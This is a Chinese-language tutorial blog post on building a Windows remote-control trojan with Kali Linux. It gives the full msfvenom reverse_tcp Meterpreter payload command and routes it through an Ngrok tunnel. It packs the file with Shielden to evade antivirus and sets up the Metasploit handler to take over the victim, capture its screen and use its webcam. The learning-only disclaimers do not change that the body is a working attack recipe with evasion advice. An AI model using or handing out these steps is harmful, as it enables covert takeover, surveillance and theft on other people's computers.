通過Kali Linux系統(tǒng)生成木馬病毒并實現(xiàn)遠(yuǎn)程控制計算機(jī)

前言

大家好，這里是浩道linux，主要給大家分享linux、python、網(wǎng)絡(luò)通信相關(guān)的IT知識平臺。

今天浩道跟大家分享硬核干貨，關(guān)于通過Kali Linux系統(tǒng)生成木馬病毒并實現(xiàn)遠(yuǎn)程控制計算機(jī)的一次安全實戰(zhàn)過程！

?

前言

該文章內(nèi)容僅用于學(xué)習(xí)使用Kali Linux系統(tǒng)，請不要將它用于非法的途徑，如有意外概不負(fù)責(zé)。

我將會詳細(xì)介紹使用Kali Linux系統(tǒng)生成木馬并用它遠(yuǎn)程控制一臺處在外網(wǎng)的物理計算機(jī)，使用到的工具有：

1、VMware Workstation Pro 16（虛擬機(jī)）

2、Kali Linux 2021（系統(tǒng)）

3、Sunny-Ngrok（內(nèi)網(wǎng)穿透服務(wù)）

4、Shielden（加殼小工具）

網(wǎng)絡(luò)如山勤思為徑，信息似海安全作舟，牢記網(wǎng)絡(luò)安全，開始我們接下來的學(xué)習(xí)。

一、安裝虛擬機(jī)和系統(tǒng)

安裝步驟很簡單，可自行百度，網(wǎng)絡(luò)適配器選擇橋接模式，要保證你的Kali Linux能連上網(wǎng)。

二、開通隧道

注冊并登錄Sunny-Ngrok，根據(jù)自己的情況選擇開通一條隧道，我這里選的是這個免費的。

隧道協(xié)議選擇tcp，隧道名稱自己隨便起，遠(yuǎn)程端口選一個能用的順眼的（他會給你推薦幾個能用的端口），本地端口需要填寫你Kali Linux系統(tǒng)的IP地址（用ifconfig命令可查看），冒號后面填一個你喜歡的數(shù)字（我一般都用8888），本地端口可以隨時修改，確認(rèn)信息無誤后點擊確認(rèn)添加。

打開隧道管理，點擊客戶端下載，將下載后的壓縮文件拖進(jìn)Kali Linux系統(tǒng)里并解壓。

使用cd命令進(jìn)入該文件夾，通過ls命令可以看到里面有個“sunny”文件。通過./sunny clientid 隧道ID命令開啟隧道。

隧道開啟成功后是這樣子：

三、生成木馬

重新打開一個終端窗口，輸入下列命令回車，他會在root文件夾下生成一個Windows的可執(zhí)行文件muma.exe。

?

msfvenom?-p?windows/meterpreter/reverse_tcp?LHOST=服務(wù)器地址?LPORT=隧道端口?-f?exe?>?/root/muma.exe

?

這時候要注意，先把自己物理機(jī)上的所有殺毒軟件退出，因為這是沒有加殼的木馬文件，會立即被刪除，退出殺毒軟件后直接將muma.exe拖進(jìn)物理機(jī)即可。
? ?

四、加殼免殺

為防止被殺毒軟件殺掉，就需要對它進(jìn)行加殼。
這里用到一個簡單方便的加殼工具：Shielden。

將muma.exe拖進(jìn)去，設(shè)置一些參數(shù)，如果對這個工具不熟悉的話可以百度學(xué)習(xí)一下，嫌麻煩的話就把能選的都選上，這里注意復(fù)雜度不要太高（我一般拉到66），太高可能導(dǎo)致該程序失效（這是我踩過的坑）。

下面這個就是加殼成功后的病毒文件了，因為這個加殼工具較小，不能做到專業(yè)全面的免殺，在遇到一些強(qiáng)力的殺毒軟件的時候還是會被殺掉，所以就不要想著拿它做壞事了。經(jīng)過我目前的測試，電腦管家一點都檢測不出來，但會被火絨秒殺，不得不說火絨NB啊，別的殺毒軟件我還沒試過，就交給你們了。

五、遠(yuǎn)程控制

該木馬程序在任何人的電腦上只要不被殺掉，都是可以進(jìn)行遠(yuǎn)程控制的，這里為了更加直觀，我將用我的物理機(jī)作為被控制的對象。
? ?
打開終端輸入msfconsole回車，這樣就打開了msfconsole。

輸入use exploit/multi/handler回車。

輸入set payload windows/meterpreter/reverse_tcp回車。

輸入show options回車，可以看到Lhost和Lport是空的或不匹配的，這需要我們給他手動寫入。

輸入set lhost 本地IP和set lport 本地端口，這時候再用show options命令，就可以看到我們寫入的信息了。

使用run命令啟動并開始監(jiān)聽。

這時候我們雙擊物理機(jī)上的木馬程序，該終端窗口就會做出反應(yīng)。

到此，物理機(jī)的控制權(quán)就是我們的了，百度meterpreter的一些好玩的命令。

? ?
一些基礎(chǔ)的，比如查看物理機(jī)的IP地址（ipconfig）：

甚至是截取物理機(jī)的電腦屏幕：

更甚至是調(diào)用物理機(jī)的攝像頭拍照等等，因為大部分命令用截圖無法直觀的表達(dá)給你們，所以其他好玩的命令還需要你們自己去探索，百度上有很多，我這里就不一一列出了。??

結(jié)束語

因為寫這篇文章時中途離開吃了個飯，換了一次網(wǎng)，導(dǎo)致IP地址改變了（細(xì)心的同學(xué)可以發(fā)現(xiàn)），解決辦法就是把你的隧道踢下線，修改本地端口為你現(xiàn)在的地址，然后重新上線，重新set lhost 新的IP然后run就可以了。?

再提一次，該文章內(nèi)容僅用于學(xué)習(xí)使用Kali Linux系統(tǒng)，請不要將它用于非法的途徑，如有意外概不負(fù)責(zé)。

網(wǎng)絡(luò)并非無法之地，我這篇文章所展現(xiàn)的內(nèi)容雖遠(yuǎn)不能對大部分有防護(hù)的電腦造成威脅，但網(wǎng)絡(luò)安全意識是對每個計算機(jī)使用者最基本的要求。

我們互連成網(wǎng)，互幫互助，共同打造良好的網(wǎng)絡(luò)環(huán)境。

　　審核編輯：湯梓紅